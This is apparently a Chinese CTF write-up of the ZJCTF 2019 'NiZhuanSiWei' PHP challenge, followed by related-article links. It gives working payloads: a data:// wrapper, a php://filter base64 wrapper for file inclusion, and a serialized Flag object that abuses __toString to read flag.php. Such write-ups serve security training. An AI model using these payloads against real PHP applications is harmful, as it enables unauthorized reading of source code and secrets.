[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
Whoami!3 分钟前
⓬⁄₆ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ 从“守护进程”和“网络流量”中捕获敏感信息
linux·网络安全·信息安全·权限提升
独行soc13 分钟前
2026年渗透测试面试题总结-26(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
漠月瑾-西安9 小时前
微隔离技术深度解析:从“物理边界”到“逻辑细胞”的安全革命
网络安全·零信任·微隔离·最小权限·东西向流量
unable code11 小时前
内存取证-卡比卡比卡比
网络安全·ctf·misc·1024程序员节·内存取证
临水逸13 小时前
飞牛fnos 2025 漏洞Java跨域URL浏览器
java·开发语言·安全·web安全
独行soc13 小时前
2026年渗透测试面试题总结-24(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
天荒地老笑话么14 小时前
NAT 下虚拟机为什么能上网:路由表 + SNAT 证明
网络安全
正义的彬彬侠15 小时前
Hashcat 使用手册:从入门到高级密码恢复指南
安全·web安全·网络安全·渗透测试·hashcat
一名优秀的码农16 小时前
vulhub系列-02-Raven2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
枷锁—sha17 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 046】详解:Ret2Libc 之 64位动态泄露
服务器·网络·安全·网络安全·系统安全